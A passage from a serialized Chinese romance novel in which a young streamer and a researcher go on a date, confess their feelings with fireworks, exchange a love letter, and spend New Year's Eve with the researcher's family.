“约会就约会,干嘛把约会说的那么清新脱俗?”他感叹了声,“潭知行,你真可爱。” “哎你别抱我了,什么东西这么硌?”池燃挣扎着起来,闪开身子,才发现沙发上扣着个手机。 看起来好像是林轩的。 池燃拿起来,念叨了句,“怎么扔这儿了?” 下一秒,他看见自己的脸出现在手机屏幕里。 弹幕疯狂滚动。 【恭喜你发现了我们】 【惊喜吗意外吗】 【哈哈哈哈哈哈卧槽,绝到家了】 【别担心,已经都录屏了】 【经典永流传】 池燃倒吸一口凉气,“我靠!”- 第二天,池燃都不太想见人了。 潭知行对着长达十几分钟的黑屏视频,除了沉默还是沉默,太阳穴甚至跳着疼。 喝醉不是最可怕的,最可怕的是第二天有人帮你回忆,还是录屏铁证如山的那种。 “知道了。”潭知行把视频暂停掉,干咳一声,“没事。” 林轩恨不得给这二位跪下,一阵点头哈腰,“不是,我真不知道,我真忘了,对不起对不起对不起。” 王沐泽按着林轩的后颈,让他给池燃鞠躬,“燃哥,他喝多了就这样,你别怪他了。” 池燃拿出十二分的豪气,冲林轩一摆手,“不是什么大事!你俩回去吧!” “好好好谢谢小池燃,小池燃你最好了。”林轩继续点头哈腰,“哥真对不起你们,真对不住。” 王沐泽拖着他,“行了走了,该回去训练了。” 等俩人关上门,一瞬间,池燃像个泄了气的皮球,瘫倒进沙发里,脸朝下。 装的,都是装的。 这叫他今天晚上怎么开直播啊? 潭知行朝他望过去,半晌,无奈道,“难道最丢人的不是我吗?” 池燃试图把自己闷死,“我也很丢人好吗?” 他想了想,又说,“不过确实你更丢人。” 潭知行:“” “那,你答应吗?”潭知行问。 “什么?”池燃翻过身来,仰着脸看潭知行。 “和我约会。” 池燃盯着潭知行看了看,发现这会儿潭知行耳朵都是通红的。 他不禁笑了声,指着他说,“潭知行,你耳朵好红。” 潭知行无奈地应了声,“嗯,难道不应该吗?” “被直播醉酒,幼稚地吃你朋友的醋,当众跟你表白,还邀请你约会,你觉得哪一样不值得我耳朵红?” 他说着说着,有点无语地笑了,“在你心里,我脸皮有那么厚吗?” 池燃一个仰卧起坐,坐了起来,“那你挑一件最让你脸红心跳的事?“ 潭知行笑着看他,“现在,答应和我约会吧。”—— 作者有话说:小池:[害羞][害羞][害羞]说话真好听[亲亲] 潭老师:也值了[眼镜]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 又一周过去, 潭知行处理好有关论文发表的最后一些工作,将申请提交了上去。俗话说尽人事,听天命, 他和他的科研团队已经做了最大努力, 剩下的,就等着论文登刊,接受学术各界的审判。 池燃提前把周末的直播取消, 留出完整的一天时间,什么都不干, 只和潭知行约会。 当天清早,两人对坐在餐桌前吃完早饭。放下勺子,池燃突然觉得气氛有点尴尬。 潭知行还没跟他说今天要去干嘛, 而且“约会”这两个字,对他们来说,是不是太隆重了些? “去换衣服吧。”潭知行拾过他的碗筷,“我洗碗。” 池燃干巴巴地哦了一声,没了碗筷做遮掩, 他显得更无措了, 两手空空, 半晌攥起手心。 “我们……”他试探着问潭知行, “一会儿去哪儿啊?” 他好决定一下穿什么。 “先去逛街。”潭知行说,“商场里热, 别穿太多。” “哦。”池燃心里松快了些。 他起身,小跑回房间。 拉开衣柜,他捏着下巴琢磨起来。 逛街的话……那就穿得休闲一点好了。 他拎出一条深灰色工装裤,又挑了件格子衬衫和一件宝蓝色卫衣搭在一起叠穿,都穿戴整齐后, 他跑去卫生间照了照镜子,又觉得少点什么,最后往脑袋上扣了顶深灰色棒球帽。 前后折腾了半个小时,池燃才从房间出来,一推门,发现潭知行已经换好衣服坐在沙发上等他了。 池燃微微愣了下,潭知行怎么比他还速度,而且……这一身看上去也是精心搭配过的。 挺阔的深灰大衣,半高领的黑色打底,黑色西裤。 池燃莫名觉得他在哪儿见过潭知行这样穿,几秒后他就想起来了。是上一个冬天,他刚到明城的时候,和现在差不多的温度。 不知不觉间,竟然快一年了。 潭知行抬眼朝池燃看过来,也有些许出神。池燃今天这副穿搭,格外的有活力,少年气扑面而来。 他不自觉笑了下,问池燃,“要不要再加个围巾?” 池燃犹豫了下,“不用了吧,今天好像没那么冷。” “嗯。”想到晚上他们会回来得比较晚,潭知行还是朝池燃的房间走去,“拿一条放车上,备用。” 还有半个月就要过年了,再加上周末,商场里熙熙攘攘的,人很多。 潭知行看过日历,这次的日子赶得很巧,2月14是情人节,15号是除夕,16号是池燃的生日,哪一天都很重要。 “潭知行。”池燃跟上他的步子,走进一家服装店,悄声问他,“你说要跟我约会就是带我来买衣服啊?” 潭知行笑而不答,拎起一件红白相间的毛衣往池燃身上比了比。 “就是觉得你衣柜里缺几件适合过年穿的衣服。” 池燃沉默了下。 从小到大,他确实没为了过年特意买过衣服,更别提为了讨什么好彩头而买红色的衣服。 “家里不是还空着一个房间,我想了下,觉得改成你的衣帽间不错。”潭知行递衣架给他,“试一下?” “……行吧。”池燃接了过来。 他还不太适应穿这么大红色的衣服,从试衣间出来,对着镜子怎么看怎么觉得奇怪。 他歪过脑袋去问潭知行,“潭知行,一定要穿这么红吗?” 潭知行还在挑衣服,闻声朝他看过来,眼前亮了下。池燃皮肤白,穿红色很合适。 还未等他开口,售货员跟上来夸池燃,“哎呀小帅哥,过年就是要这么穿,这种颜色一般人还压不住呢,你穿好看。” 池燃抿了抿唇。 潭知行走过来,又拿了两件带红色的衣服塞给他,“姐姐说的对,过年都要这么穿,这颜色很适合你。” 池燃幽怨地看他一眼。 潭知行替他正了正领口,又低声道,“不给你买的话,等过年回家,我爸妈肯定会说我。” 池燃抬眼问他,“叔叔阿姨每年过年都会给你买红色的衣服吗?” “嗯。”潭知行应了声,“他们觉得这样新的一年就会有好运。” 所以潭知行也要把这种好运传给他? 这么一想,池燃忽然觉得身上的衣服顺眼了很多。 好像……穿上的不只是衣服了,还带着潭知行对他的祝福。 池燃就这么欣然接受了潭知行给他挑的三件红衣服,他也顺带给潭知行挑了一件大红色的毛线背心,说可以搭衬衫穿。既然是好运的话,潭知行送他,他也要送潭知行才公平。 午饭池燃选了烤肉,等上菜的时间,潭知行把手机推给池燃,让他选个想看的电影。 池燃愣了下,接过手机来,“要看电影啊?” 潭知行点头。 池燃没多想,立刻翻起来,“我看看,《死神来了》下线没有?” 上次跨年的时候,他就想约潭知行去看这部电影。不知道是不是被季明野传染了,他现在对恐怖片也特别有兴趣。 “哦,还没有!”他问潭知行,“两点十五这场行不行?” “我们一会儿还有别的事吗?” “没有。”潭知行说,“你定吧。” “好嘞。”池燃扫了脸付款,把手机还给潭知行。 到现在,池燃才有了一点“约会”的实感。 他撑着下巴笑嘻嘻地看潭知行,“潭知行,逛街吃饭看电影,就是你的约会流程吗?” “不应该这样吗?”被池燃这么一问,潭知行略显意外。 池燃微微皱了下眉,琢磨了下,“不是不应该,就是……” 有点老套。 “就是什么?”潭知行问。 “没。”池燃笑笑。 这样也很符合潭知行的年纪就是了。 可潭知行看起来更慌了,“我……没约过会,你觉得什么样好?下次可以——” “还有下次啊?”池燃故作吃惊,“我好像只答应了一次吧。” 眼看潭知行一副吃瘪的模样,池燃心里简直要乐疯了,逗潭知行也太好玩了。但他又不忍看潭知行失落,片刻,他敛起笑意,干咳一声,语速飞快地说,“下次的事下次再说。” 吃过饭,潭知行去结账,回身时发现池燃身边多了一男一女,热络地在聊着什么。很快,池燃拿过了他们的手机,三个人一起合影。 看样子是遇上了粉丝。 潭知行没上前,就站在前台边,打算等他们离开再回去。 但池燃突然朝他的方向看过来,又招了招手,在叫他过去。 潭知行有点意外,身子一顿,冲池燃做了个口型,“我?” 池燃用力点头。 潭知行犹豫了下,还是走过去。 他礼貌地冲两人点头,“你们好。” 女生立刻激动地问,“我能和你们一起合照吗?” “我……”潭知行还在疑惑。 他有什么好合影的? “我特别喜欢看你们俩的视频,特别甜。”女生说,“希望你们能一直幸福下去。” 池燃笑着,一把扯过潭知行,替他答应道,“没问题,我们一起拍。” 从餐厅出来,池燃感叹一声,“哎,把相机带出来好了,这么一想,今天错过了好多素材。” 他打量打量潭知行,又低头看看自己,突然感觉他俩都穿这么帅,不拍点什么做纪念白瞎了。 忽然,他瞟到商场路边摆着的大头贴自拍机,灵光一闪。 “潭知行,过来。”池燃一把抓住潭知行手腕。 潭知行:? 他还没反应过来,一回神,已经被池燃推进了一个小空间里,池燃紧挨着他坐过来。 “潭知行,我们拍大头贴吧。” 潭知行往面前一看,才发现这是个拍大头贴的自助机,机器上贴着流程指引。 他一下有点想笑,果然流行是个圈吗? “好……”他对此没什么意见,就是池燃猛一下把他推进来有点吓到他了,还以为池燃想……亲他。 “你想怎么拍?”他问池燃。 “我研究一下。”池燃对着流程图看起来,“这玩意儿我也是第一次用。” “哦……可以拍一张两张四张八张的。”他转头问潭知行,“我们都拍一遍怎么样?” “可以。”潭知行说,“都听你的。” 池燃付了钱,系统随即进入拍照倒计时。前方的镜头映出他们两个人的脸,池燃一把拽过潭知行的胳膊,让他靠近自己。 “笑。”他命令似的跟潭知行说。 潭知行扬起个还算好看的笑容,池燃挺满意的。 但拍了几张之后,潭知行总是这个表情,池燃又不太满意了。 “潭知行,你换个表情。”池燃说。 潭知行很诚恳地问他,“换什么?” 池燃:“……” 这要怎么跟潭知行形容呢?好像让潭知行做那些搞怪的表情也太为难他了。 突然,池燃有了个想法。 “……潭知行,你把眼睛闭上。” 潭知行:“嗯?” 池燃:“闭上。” “嗯。”潭知行照做。 他听着耳边机器响起倒计时“三,二,一”,忽然,一阵柔软温热在他脸颊上停留了片刻。 他下意识睁开眼,眼中闪过的诧异刚好被摄像头捕捉下来。 池燃亲了他的脸。 “……”潭知行一阵沉默,心跳却在沉默中加快。 池燃从机器里取出相片,满意地看了又看,觉得还是他灵机一动拍的这张最有纪念意义。 “潭知行,你钱包呢?” “嗯?哦。”潭知行愣了愣,才回过神,从大衣口袋里拿出钱包,递给池燃。 “要干什么?”他问。 “把这张照片放你钱包里。”池燃说着,打开他钱包,找了个夹层,刚想把照片塞进去,却发现里面还有东西,好像是张纸片。 池燃疑惑了下,把那纸片抽出来。 随后,他就对着照片上的自己愣了愣。 “这是什么?”他问潭知行。 潭知行:“……嗯,小卡?”—— 作者有话说:小池:让我看看有什么意外收获[让我康康] 潭老师:[眼镜]说这东西是从天而降“意外”进了钱包,池燃会信吗? 第72章 池燃:“……” 他也知道这东西学名叫小卡, 但问题是,潭知行怎么会有这个? “你……” “上次何旭问我要你的签名,我看他拿着你的照片……就, 问他也要了一张。”潭知行主动解释道。 池燃:“然后呢?” 潭知行:“……然后放进钱包里了。” 他也没想到会有被池燃发现的一天。 池燃反应了几秒, 弯下腰笑起来,笑得眼睛眯成一条缝,“潭知行, 你这叫睹物思人吗?” 潭知行低低应了声,像是有些不好意思, “算是吧。” 池燃笑着把原来的那张小卡塞进潭知行手里,“那我给你换一张,这张不够特别。” 他把他们刚刚拍的照片换到潭知行钱包里, 小心翼翼地塞进去,“这个……就算你的专属小卡吧。” 拍完大头贴,他们买了两杯奶茶,慢悠悠地晃到商场五楼,取了电影票, 时间刚刚好。 他们买的这场票是小型影厅, 前后总共五六排座位, 池燃选的是最后一排的座位, 正中间。 等他们坐下,又陆陆续续进来两对情侣, 坐在他们前面。 “哎潭知行,你会害怕吗?”池燃偏过头去小声问潭知行,“这个片没鬼,就是有点血/腥。” “有多血/腥?”潭知行也小声问他。 池燃琢磨了下,“可能会突然爆头的那种?” “没事, 你要是害怕就提前闭——” “池燃,我是学生物的。” 池燃微微愣了下,正想问这两者有什么关系,潭知行随即给他解释道,“我上过解剖课。” 池燃:“……好吧。” 他坐直身子。 看来是他的担心多余了,他还想着,潭知行要是害怕,可以躲他怀里呢。 一场电影风平浪静的看完,池燃虽然有被吓到那么一两次,但还没到要钻进潭知行怀里那种。潭知行也一样。 不过这种程度,吓白骁应该绰绰有余了。 出了影厅,池燃还不忘造福兄弟。 他掏出手机,给白骁发消息:「你问问季明野看没看过新上的死神来了。」 「你约他去。」 从商场出来,池燃本以为他们要回家了,但他看看沿途的路,又觉得不太对劲。 “我们还要去哪儿吗?”池燃扭头问潭知行。 潭知行应了一声,“约了餐厅,上次你说的,想去高空餐厅。” 池燃眨了眨眼。 “我查了一下,明城只有一家高空餐厅视野最好。”潭知行微偏过头,温柔地笑了下,“应该是你想去的那家吧。” 池燃懵懵地哦了一声,老老实实坐回位子上,一手揪住安全带。 原来……潭知行今天是在弥补跨年那天他的邀约啊。 夜幕降临,整个城市灯火辉煌,从高空俯瞰下去,能将夜色尽收眼底。 潭知行约了靠窗边的位子,服务生领他们过去,池燃突然觉得自己今天穿得有点随便了。 潭知行早跟他说会来这里吃饭,他就穿正式一点了,现在搞得他像个小孩子。 没办法,他只好又把帽檐往下压了压。 “两位晚上好。”服务生将菜单递给他们,“我们现在有情人节限定菜单,要来一份试试吗?” 池燃有点不可思议地朝服务生看去。 他是怎么看出来他和潭知行需要情侣菜单的? 潭知行扫了眼菜单,确认没有池燃不爱吃的,没多考虑,随即对服务生道,“好,那就要情人节限定吧,谢谢。” “好的。”服务生对他们微笑,“请二位稍等。” 池燃又把帽子往下压了压。 潭知行略带疑惑地朝他看过去,池燃帽子低得他都要看不见鼻梁了。 “……这里灯光很晃眼睛吗?”潭知行问。 池燃摇头,“没啊。” “那你……” “……” 池燃不太想说,他竟然因为和潭知行在一起,对这种正经的场合有点过敏。 这里的灯光,音乐,布景,好像连空气都在提醒他,他和潭知行好像是情侣诶。 虽然当初是他主动提出来要来这里,但这个场面却是他万万没想到的。 他和潭知行……现在适合这样吗? 可哪怕挡住了眼睛,泛红的耳朵还是出卖了他。 潭知行轻轻笑了声,说,“把帽子摘掉吧。” “……哦。”池燃听话地照做。 他不敢去看潭知行的眼睛,只好将视线瞥向一旁,突然发现对面桌坐着的男士从口袋里掏出个钻戒来。 池燃暗暗倒吸一口气,立刻将目光收了回来。 这里是可以求婚的氛围吗??? 他在网上看别人推荐的时候,只说这里菜很好吃啊! 那潭知行…… 他小心翼翼地朝潭知行瞥过去一眼,没想到一下被潭知行捕捉到了。 潭知行略有困惑,“怎么了吗?” 池燃犹豫了下,还是决定问一问,不然他这一顿饭都要吃不好了。 “……你有什么话要跟我说吗?” “现在吗?”潭知行问。 池燃点头。 “有。”潭知行把酒水单递给他,“我们不喝酒,你看想喝点什么果汁?” 池燃顿时松下一口气,还好还好,潭知行不是要来跟他求婚的。 STOP! 池燃在脑子里叫停自己,他到底都在想什么啊? “我,我要椰汁。”池燃扫了眼菜单,很快还给潭知行,随后便靠进椅子里低头玩手机了。 过去一下午,白骁居然没回他。 很过分。 池燃:「???」 池燃:「你小子干嘛去了?」 但过了没几秒,白骁居然回了。 白骁:「忙呢。」 白骁:「你觉得爱心形的烟花好看吗?」 池燃:「?」 白骁:「还是瀑布的那种?」 池燃:「你要干嘛?」 白骁:「算了,都来点吧。」 池燃:「?」 然后白骁不回他了。 池燃:“……” 神经病啊。 他转头去找季明野聊天。 池燃:「同桌,干嘛呢?」 季明野:「买打火机。」 池燃:「????」 池燃:「同桌你怎么回事?」 然后季明野也不回他了。 池燃一脑袋问号。 都疯了吗?- “韩哥,打火机买回来了。”季明野小跑着过来,把打火机递给他。 “诶,麻烦你了。”韩闻烁按开试了试火,“我想着我有打火机就没买,忘了你俩还需要。” 白骁捧着三箱烟花过来,匡一声放在地上,“来吧,咱仨一人一份。” “这样,一会儿我先放,然后是你,然后是小季。”韩闻烁布局起来,“我们相隔三分钟差不多,白骁你去公园左边,我去右边,小季你就在这儿。” 季明野点头,“好。” “打火机都会用吧。”韩闻烁嘱咐他俩,“别烫着手。” “放心吧。”白骁说。 他捧起一箱烟花,又停下来问韩闻烁,“韩哥,你说这回他俩能成吗?” 韩闻烁叉起腰来,朝远处的高楼望了眼,“但愿吧,看他造化了。”- “潭知行,你一会儿有事吗?”不知道潭知行第几次看手表时,池燃终于忍不住了。 “嗯?”潭知行抬眼看他,放下手中的刀叉,“没有。” “那你——” “有个小礼物想给你。”潭知行笑了下。 池燃愣了愣,“啊?什么啊?” “五,四,三……”潭知行盯着手表,倒数起来,“二,一。” 一道光亮划破夜空。 池燃顺着光亮看去,几簇烟花窜上天,随后嘭地在天空炸开,化作一个个心形。 池燃一瞬间福至心灵。 心形烟花? 接着,又一个个烟花窜上来,烂漫地炸开,映得整个夜空都夺目绚丽。 餐厅里其他客人的注意力也被吸引过去,发出阵阵感叹。 “今天是什么日子啊?怎么放这么多烟花?” “不知道啊,不过确实好看啊。” “是不是谁在表白啊?” 烟花化作星星点点落下,池燃好半天才回过神来,看向潭知行。 “你……” “跨年那天没能陪你,现在补给你一场,希望不会太晚。” 池燃还有些发愣。 “池燃。”潭知行突然认真地叫他,“我有些话想对你说。” “……” “我前段时间出差,是为了一项研究成果。”潭知行说这些话时,心跳已然不自觉地加快。 “我和我的团队发现了LRP-10介导的——” “潭知行。”池燃微皱起眉打断他,“说人话。” “……”潭知行笑了下,他或许是太慌乱了,一时忘了池燃听不懂他的专业知识。 他琢磨片刻,换了个说法,“就是……对治疗阿尔兹海默症,我们有了新的发现,虽然不能完全治愈,但在早期可以抑制病情发展。或许,未来有希望能研制出药物。” 池燃眼睛渐渐亮起来,“真的?” 潭知行点头,“嗯,虽然距离临床试验,大概还要几年,但……总算有个方向。” “太好了!”池燃笑起来,他由衷地替潭知行高兴,“那你是不是就有可能——” 他对上潭知行凝望向他的眼睛,忽然说不下去了。 那……他们呢? 他又慌乱地垂下眼。 潭知行双手交叠在桌前,相互摩挲,显得格外紧张。 “池燃,我不知道我能不能有幸赶上药物研发出的那天,也不知道,在那一天之前我会变成什么样。但至少有些希望,我就想……试一试。” “……试什么?”池燃怀着些期待,开口问他。 “试着,问你……”潭知行顿了顿,认真道,“愿不愿意和我在一起。” 池燃呼吸一瞬间轻颤。 “这个决定,你可以考虑一下再答复我。”潭知行说,“虽然我自私地希望你会答应,你也说过你不害怕未来的十年二十年我会变成什么样子,但是这件事毕竟有风险——” “潭知行。”池燃笑着看他,“我愿意。” 潭知行心脏蓦然间空了一拍。 “不过……”池燃眼睛一转,“在那之前,你追我吧。”—— 作者有话说:萌萌小池:[加油][加油][加油]胜利!翻身做主人! 邪恶小池:潭知行你等着吧[吃瓜] 潭老师:[好的] 第73章 晚上十一点, 潭知行对着电脑浏览网页,手边的手机忽然响了。 是韩闻烁。 他接起来开了免提,继续看网页。 “说。” 韩闻烁好像刻意压低了声音, “喂, 你俩完事了吗?” 潭知行微微皱眉,“什么?” 韩闻烁:“……做完了吗?” 潭知行反应两秒,笑了声, “你想什么呢?” 一听潭知行这么说,韩闻烁不干了, “我靠,你俩什么情况!老子大冬天在外面给你放一晚上烟花,你戎马半生归来还是单身?!” “他答应了。”潭知行说。 “那你……”韩闻烁一下哽住, 犹豫了下,“潭知行你不会真不行吧?” “……”潭知行手已经落在挂断键上了。 “哎别别别,别挂电话。”韩闻烁像是知道他想干什么似的,“你俩愿意搞纯爱就搞纯爱吧,算我多嘴。” “他说要我追他。”潭知行耐心地一条条地看着网友分享如何追人的经验, 觉得有用的, 就记在文档里。 韩闻烁:“啊?” 潭知行嗯了一声, “说我之前那么久没答应他, 觉得很亏,要我追他, 补偿一下。” 韩闻烁嘶了口气。 “你有什么建议吗?”潭知行问,“追人。” “我当然——”韩闻烁话说到一半,转念一想,又觉得不行,“还是算了, 我不给你建议了,我这辈子没追过像你家那位那么难搞的。” 他啧了一声,“你自求多福吧。” “潭知行!!!” “潭知行!!!” 突然,很响亮的两声隔着门板传过来。 “池燃叫我。”潭知行起身,挂断电话,“改天再说。” “诶——”韩闻烁似乎还想再说什么,但已经没机会了。 池燃这会儿正在电竞房,本来说好今天不直播的,但从餐厅回来,他兴奋得睡不着,还是上线了。 潭知行推开门,问,“怎么了?” 池燃歪着脑袋朝他看过来,“潭知行,我要喝可乐。” “……现在吗?” 池燃:“嗯。” “好。”潭知行应下来,“我给你叫外卖。” “不要!”池燃眯了眯眼睛,命令他,“你现在没什么事吧?你出去买回来。” 潭知行:“……” “好,等我一下。” 看得出来,池燃是有意折腾他。既然池燃要他追,他也会遵守约定。作为追人的第一步,池燃想要他做什么,他做就是了。 见潭知行关上门,池燃美滋滋地带回耳机,又开了游戏。 弹幕: 【大半夜喝可乐?】 【怎么不让点外卖?】 【我去,这么听话】 【求训男朋友教程!】 【再买包酸辣粉吧】 【感觉Fire这会儿要飘了】 但不得不说,从潭知行跟他表白之后的第一秒,他就飘得找不到北了。 早上敢赖床了,非要等到潭知行抱他起来,晚上变着花样要求潭知行给他做好吃的。 还从TJG拿了一堆粉丝寄的信回来,在家大声朗读给潭知行听,种种露/骨的倾慕之词差点把潭知行听死。 池燃读完信,看着潭知行明明在工作却青一阵白一阵的脸,十分心满意足。 他挨个把信收好,找了个小盒子一封封装起来,朝潭知行的方向瞥过一眼,“喂潭知行,明天是情人节了。” “嗯。”潭知行推了推眼镜,“我知道。” “你想过吗?”他问池燃。 池燃:“……” 他突然又有点后悔这么吊着潭知行了,白白错过一个情人节。不过都到这份上了,还是继续吊着吧。 他嘴硬道,“我才不过,我跟你又不是情侣。” 潭知行淡淡笑了声,“嗯。” 池燃盖好盒子,拄着下巴朝潭知行看过去,装模作样地叹了口气,“不过……要是有人能给我写封情书就好了,毕竟是情人节,总不能真没有表示吧?” 潭知行故意没回应,反倒跳过了这个话题,“后天除夕,我爸妈想让我们过去一起吃年夜饭,再住一晚,你觉得怎么样?” “嗯?”池燃的注意力立刻就被牵走了,“可以啊,我没意见。” “我跟他们说初一还是你的生日,他们就想再一起给你过个生日。”潭知行说。 “嗯……”池燃眨眨眼,点头,“好啊。” 潭知行关掉电脑,朝他走过来,“生日那天,你有什么特别想做的吗?” 池燃琢磨了下,脑子里却一片空白。 往年是会和同学什么的出去玩玩,因为家里没人会给他过生日。今年他生日偏偏赶上大年初一,白骁和季明野都要和家人一起,没时间陪他,所以……他能想到的,也就是和潭知行在一起。 半晌,池燃摇了摇头。 潭知行在他身旁坐下,“初一白天家里应该会来几个亲戚,你不想见的话,我们可以出门,晚上回来再和爸妈一起庆祝生日。” “好。”池燃应道。 潭知行有点意外,“真的没有其他要求?” “没啊。”池燃说完,突然反应过来,眯了眯眼睛,审视潭知行,“潭知行,你什么意思?” “你是觉得我这段时间要求很多?” 潭知行压住笑意,“没有,我不是那个意思。” 池燃咬咬牙,“我看你就是这个意思。” 他拿着小盒子怼了潭知行一下,起身往房间走,“明天早上我看不到情书你就死定了。” 第二天清早,池燃在睡梦中迷迷糊糊翻了个身,忽然感觉枕头下有阵窸窸窣窣的异响。 他闭着眼睛去摸,摸到个硬硬的东西,还扎手。池燃反应了会儿……好像是纸? 福至心灵的一瞬,他猛然睁眼,将那东西从枕头下抽了出来。 是一张对折成四份的A4纸。 池燃举起来展开看,里面密密麻麻是潭知行的字迹,工整漂亮。 「池燃,早安。 今天是2月14日,情人节。虽然你还没答应和我在一起,但是我很高兴你能给我这个机会,让我写这封信给你。 你看到这封信的时候,我大概正在晨跑。从前这样的早上,晨跑时我总会想着实验、工作,最多……是中午吃什么,但现在,却想着你看到这封信的时候会是什么心情,还挺奇妙的。 我不太清楚一封合格的情书应该怎么写,就想到什么写什么了,希望你不要笑我,或许你看到这儿已经在偷笑了吧。 思来想去,我还是想为我之前的所作所为跟你说一声抱歉,很对不起,让你伤心了那么久,又瞒着你我生病的事。有时我觉得,你明明才十八岁,在感情上却比我通透得多,也勇敢得多。这点,我需要向你学习。 因为你,我才学会正视自己的感情,也因为你的坚定,我才有勇气去回应你。想跟你说声谢谢,谢谢你从来没有放弃我。 我自知我有些无趣,不太会说些好听的话,还有代沟这东西,虽然我不想承认,但它的确存在,有时我跟不上你的思维,还希望你不要嫌我烦。 对你的喜欢,大概没必要再在信里赘述。我会努力锻炼身体、规律作息、健康饮食,尽量长久地陪着你。如果有幸,便陪你到老。 潭知行。」 池燃反复盯着这封信看了两遍,小小地切了一声,“什么叫不必赘述啊。” 这情书……怎么跟他想的不太一样? 算了。 池燃心想,能写出这么多话,大概已经很难为潭知行了。 他翻了个身,摸起手机,给潭知行打电话。 潭知行接起来,微微喘着应了一声,听起来是还在跑步。 “潭知行,你买个相框回来。”池燃举着信说,“要A4纸大小的。” “相框?”潭知行问,“做什么?” 池燃笑笑,“我要把这封信裱起来。”- 除夕,合家团聚的日子。 下午,潭知行领着池燃回家。敲了门,潭枫热情地迎出来,“小池,知行,快进来。” 他们有些日子没见了,潭枫打量打量池燃,感叹道,“好像又长高了啊小池。” “有吗?”池燃摸摸头,不自觉和潭知行比了下,突然觉得自己好像是长高了点。 “有有。”潭枫领着他进门,“新的一岁肯定会长高的。” “你这件衣服真好看啊,很适合你。”潭枫问,“是知行带你买的吗?” 池燃笑着应道,“是,他说过年要穿红色的。” 潭枫欣慰地看潭知行一眼,“做得好。” “妈呢?”潭知行问。 “哦,她刚刚睡了。”潭枫说,“等晚上吃饭的时候再叫她吧。” 潭知行点头。 “我正备菜呢,知行,你带小池回你房间休息,然后你出来帮我。”潭枫说。 “我也能帮忙。”池燃主动说。 “诶,用不着你啊。”潭枫笑笑,“你就等着吃就行,或者你要是闲着无聊,就把我买的窗花贴一贴。” “行!”池燃高兴。 “知行给你带睡衣了吗?”潭枫问,“没带的话,前几天我逛街给你买了一套,放在知行房间里了。” “带了。”潭知行说。 “哦,那也行,那就留着以后什么时候来再穿。”潭枫说。 潭知行领着池燃往里走,走廊最尽头的房间,是他上大学前住的卧室。 推开门,潭知行将背包放在桌上,“你先换衣服吧,我去帮忙。” 池燃早有心理准备,今天晚上他大概得和潭知行睡一张床了。其实,他现在一点也不害羞了,不对,最多有一点点,就那么一点点。 “这张床是一米五的,睡我们两个可能有点困难。”潭知行主动说,“今晚你睡床,我睡沙发。” 池燃:? 他都准备好了,跟他说这个? “叔叔阿姨不会介意吗?”池燃问。 “不会,我跟他们说过了。” 池燃:“……” “不行。”他说。 潭知行:“嗯?” “我……怕放鞭炮的声音,今天你就得跟我一起睡。”—— 作者有话说:小池(得意版):[奶茶]都听我的,我是主人 作者:祝老婆们国庆假期快乐呀[加油] 第74章 “知行, 你和小池最近感情还好吧?”厨房里,潭枫递给潭知行一盆西芹让他洗。 “挺好的。”潭知行边说,边拧开水龙头。 这次, 他说的是实话。 他和池燃的关系, 很快就不是假扮情侣了。 “前段时间,你妈又跟我提你们结婚的事了。”潭枫顿了顿,“她总想着能在她还清醒的时候看你结婚。” 潭知行沉默了下, 洗菜的动作慢下来。 “这个等池燃毕业了我再问他的意见吧。” 于他来说,这是件两难的事情。一方面, 是时间不等人,徐兰芝的病情很有可能会再度恶化,另一方面, 是池燃,他还不到二十岁,这个时候和他提结婚,是不是太早了?再说,谈恋爱和结婚完全是两码事, 池燃对结婚能有一个准确的概念吗? “问什么?”池燃从厨房门口探了个脑袋进来。 他眨着眼睛问潭知行, “等我毕业之后有什么事吗?” 潭知行闻声抬眼看他, 愣了两秒后选择掩饰过去, 他笑道,“没什么, 在想等你毕业可以带你出去旅游。” “你有什么想去的地方吗?” 池燃琢磨了下,“不知道,现在想这个太早了吧。” 他走进厨房,“等毕业再说吧。” “叔叔,我能帮你们做什么吗?”他问潭枫。 “什么都不用。”潭枫笑呵呵地, “你去玩会儿吧。” 池燃犹豫了下,“好吧。” “那我去贴窗花。” 潭枫答应,“好去吧,我放在电视柜上了,你过去就能看到。” 池燃边走去找边问,“随便贴就行吗?” “对。”潭枫高声回答他,“你喜欢怎么贴就怎么贴。” 池燃找到电视柜上放的一沓窗花,拿起来翻着看了看,有好几款不同样式的,红红火火的看着很喜庆。 他从来没贴过这玩意,但既然潭枫说让他随便贴了,他就随便贴好了。 首选项就是客厅这扇大落地窗,这么大的窗户,不多贴点可惜了。 他很有耐心地把窗花一个个撕下来,找准觉得合适好看的位置,再小心翼翼地一点一点贴上去,贴得平整规矩。够不到的地方,他就踩着小凳子上去,不到半小时,就把客厅的窗户装饰得很好看。 池燃叉着腰,对自己的杰作欣赏片刻,忽然意识到原来这样才算过年。 往年他是怎么过的,他都不记不太清了,因为并不是什么值得纪念的日子。好像只有他很小的时候家里才会热闹一点,再长大呢池州诚会跟贺涓去国外找贺涓的父母,所以不会带他,池岩结了婚自然也不会在家里,便只剩他一个人。 像这样简单而温馨的场面,竟是他长大十几年来,第一次拥有。 池燃眼眶突然有一点酸涩。 可听着潭知行和潭枫在厨房里闲聊,他又觉得,还好,这一切来得不算太晚。 他捧起剩下的窗花,小跑回潭知行的卧室。 他要把家里每一处都装饰得漂漂亮亮的过年。 池燃下午睡了一小觉,没想到再一睁眼潭枫和潭知行就变出来一桌子的好吃的。 晚上七点钟,潭枫叫醒了徐兰芝,准备吃年夜饭。徐兰芝拉着池燃闲聊了会儿,池燃看她状态还不错,不禁替潭知行开心。 “可以吃饭了。”潭知行在餐厅那头叫他们,“过来吧。” “聊那么久。”潭知行替他拽开椅子,小声问他,“都聊什么了?” 池燃轻轻哼了声,坐下冲他吐了下舌头,“不告诉你。” “这是我和阿姨的秘密。” “哎呦。”潭枫突然一拍手,紧接着,快步回房间里拿了个红包出来,“差点忘了,本来你刚来的时候就想给你的。” 潭枫将一个厚厚的红包塞进池燃手里,“快拿着,这是我和你阿姨给你的。” 池燃愣了愣,“啊?” “压岁钱。”潭知行说,“收下吧。” “这”池燃像是还没反应过来。 “小池,希望你新的一年一切顺利,天天开心。”徐兰芝笑着跟他说,“这是我们对你的祝愿。” “”池燃又眨眨眼。 心头涌过的暖意让他一时不知如何是好,半晌,他才小声开口,“谢谢谢谢叔叔阿姨,也祝你们新年快乐。” 潭枫和徐兰芝都笑眯眯的,张罗着开饭。 席间,他们有说有笑,等春晚开始,又打开了电视当背景音。池燃闷头吃饭,有好几次都想哭,为了忍下来只能继续闷头吃饭。 最后把自己撑得不行,脑袋一歪靠在了椅子上。 